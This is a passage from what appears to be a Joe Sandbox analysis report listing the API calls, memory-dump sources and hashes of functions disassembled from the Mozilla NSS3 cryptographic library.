PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C73EF38

Part of subcall function 6C729520: PK11_IsLoggedIn.NSS3(00000000,?,6C75379E,?,00000001,?), ref: 6C729542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C73EF53

Part of subcall function 6C744C20: TlsGetValue.KERNEL32 ref: 6C744C4C
Part of subcall function 6C744C20: EnterCriticalSection.KERNEL32(?), ref: 6C744C60
Part of subcall function 6C744C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CA1
Part of subcall function 6C744C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C744CBE
Part of subcall function 6C744C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CD2
Part of subcall function 6C744C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D3A

PR_GetCurrentThread.NSS3 ref: 6C73EF9E

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

free.MOZGLUE(00000000), ref: 6C73EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C73F016
free.MOZGLUE(00000000), ref: 6C73F022

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 91a974605becda432f6b302d22d18925f4ce8a8d237c4db308efd1578e780d39
Instruction ID: 56dd5f85644cd1cc918f8c43192be6192f726761163e3ab74f3a8e8fb56c1c17
Opcode Fuzzy Hash: 91a974605becda432f6b302d22d18925f4ce8a8d237c4db308efd1578e780d39
Instruction Fuzzy Hash: E74193B1E0010AAFDF018FA9DD49BEE7BB9AF48358F044035F918A6351E776C915CBA1

Function 6C72CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C72CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C72D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C72D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72D025
PR_NewLock.NSS3 ref: 6C72D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C72D074

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 57f104fc96329518c8dc2f3a51d985c27a109ea654575d414b6ec998a84dd605
Instruction ID: 30ed776f6226bcfecebbfe78b4ec263588843d553c8233d72b0f3fe0e3e559cd
Opcode Fuzzy Hash: 57f104fc96329518c8dc2f3a51d985c27a109ea654575d414b6ec998a84dd605
Instruction Fuzzy Hash: 5641E5B1A013018FEB60DF29CA8879ABBE4EF18319F108179DC198F756D778D485CB95

Function 6C773FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C773FF2

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C774001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C77400F

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C774054

Part of subcall function 6C70BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C70BC24
Part of subcall function 6C70BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BC39
Part of subcall function 6C70BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C70BC58
Part of subcall function 6C70BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C70BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C774070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C7740CD

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 05299f607d15fb818be1871abb45bfa2c5cda834ec1b026b466e3652c6c0d3fd
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: B231E7B1E0034997EF109F649E4DBBA3364AF9170CF144275ED089B742F772E958CAA2

Function 6C712E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C702D1A), ref: 6C712E7E

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

PR_Now.NSS3 ref: 6C712EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C712EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C702D1A), ref: 6C712F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C702D1A), ref: 6C712F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C712F81

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 685fad8adbe857dfc608c1afa0aed88f9aa82085be9fecf74766d5605e54c072
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 9B3134715091408BF710C665CE4CFAFB2ADEF82318F6C0A79D42997ED1EB31998AC711

Function 6C700E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C700A2C), ref: 6C700E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C700A2C), ref: 6C700E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C700A2C), ref: 6C700E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C700A2C), ref: 6C700E90
free.MOZGLUE(00000000), ref: 6C700EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C700A2C), ref: 6C700ED9

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5341808848a733ce47be796cc097a74d0473c10af030d3c557c43360562ba5c8
Instruction ID: bd49764ca9f29c7f01c053554f8e40ad384c042d6c9384feb17aab0f8d47fc5e
Opcode Fuzzy Hash: 5341808848a733ce47be796cc097a74d0473c10af030d3c557c43360562ba5c8
Instruction Fuzzy Hash: 17213EF2F0028457EB106D769E49B6B76EEDBC1769F190035DC18B3A02EBB0C81483A2

Function 6C70AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C70AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C70AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C829500), ref: 6C70AF23

Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C75F0C8
Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C75F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70AF37

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 765e1b80ab1e619169cddcaba6e6f95034f0ae8f2a180ee9a69a7f2464652634
Instruction ID: 45bc6ec29e98b54c1592418af65f074dc87b229dbe17fe395c27837308bece09
Opcode Fuzzy Hash: 765e1b80ab1e619169cddcaba6e6f95034f0ae8f2a180ee9a69a7f2464652634
Instruction Fuzzy Hash: 3C214CF2A05200ABEB108E188E05B9A77E4AF8573CF144324FC149B7D0E731E54587A7

Function 6C78EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78EE85
realloc.MOZGLUE(2EA73CAB,?), ref: 6C78EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C78EEC5

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

htonl.WSOCK32(?), ref: 6C78EEE3
htonl.WSOCK32(00000000,?), ref: 6C78EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C78EF01

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 827c06f6142bb5753058e62d40e86bcfbbbc20eda6c82d5bd49c76047c76d307
Instruction ID: 0b4fa4d27b3dd2eacb37e896da3fa0fd9fdfca7d5634e2fe29a102ccb75ae591
Opcode Fuzzy Hash: 827c06f6142bb5753058e62d40e86bcfbbbc20eda6c82d5bd49c76047c76d307
Instruction Fuzzy Hash: 0B21E775A012199FDB109F28DD8879A77A8EF45358F148139ED099BA41D730EC14CBF2

Function 6C73EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C73EE49

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C73EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C73EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C73EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C73EEB3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 3086a868d171cc1ad9b8b645f6a8b97d1f17debb2452f626c4027a4da019540c
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 6121C6BAA402246BFB118A14DD89EAB77ACEB45708F040174FD089B342EB71DC1487E1

Function 6C707F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C707F68

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C707F7B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C707FA7

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C82919C,?), ref: 6C707FBB

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C707FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C82915C,00000014), ref: 6C707FFE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 5562878e8bb37b540b0f583b50d2f6380ef8f817fde6a21dadd44a0a529df189
Instruction ID: 93158149137bb7ad53561251a7940419fc97bc529b00bf5dc744d139c4365460
Opcode Fuzzy Hash: 5562878e8bb37b540b0f583b50d2f6380ef8f817fde6a21dadd44a0a529df189
Instruction Fuzzy Hash: C311E7A1E002045BF710AA259F4CBBB77E8DF4565CF000A29FC59D2B41FB20B949C7A2

Function 6C70BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C78DC29,?), ref: 6C70BE64

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C78DC29,?), ref: 6C70BE78

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C78DC29,?), ref: 6C70BE96

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C78DC29,?), ref: 6C70BEBB

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C78DC29,?), ref: 6C70BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C78DC29,?), ref: 6C70BEF3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 567c0d15a3e4fcb94b83bed94f6ebfb53dcbddf6302616e4ee2dd11dccf8aaea
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: E11178B1F001155BEB008B659E49FAA37AC9B41359F544034ED09D7B81EB71EA19C7A1

Function 6C793C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C793D3F

Part of subcall function 6C70BA90: PORT_NewArena_Util.NSS3(00000800,6C793CAF,?), ref: 6C70BABF
Part of subcall function 6C70BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C793CAF,?), ref: 6C70BAD5
Part of subcall function 6C70BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C793CAF,?), ref: 6C70BB08
Part of subcall function 6C70BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C793CAF,?), ref: 6C70BB1A
Part of subcall function 6C70BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C793CAF,?), ref: 6C70BB3B

PR_EnterMonitor.NSS3(?), ref: 6C793CCB

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

PR_EnterMonitor.NSS3(?), ref: 6C793CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C793CF8
PR_ExitMonitor.NSS3(?), ref: 6C793D15
PR_ExitMonitor.NSS3(?), ref: 6C793D2E

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: eb3d66c16ff560bc952150f95b0a9d8406aa99f31ee5bc8aad498a7aa86347b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 3B11E2B5A10600AFF7205A65FE8AB9BB2E4AB1130DF504534E41E8BB61E632E919C653

Function 6C75FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C75FE08

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
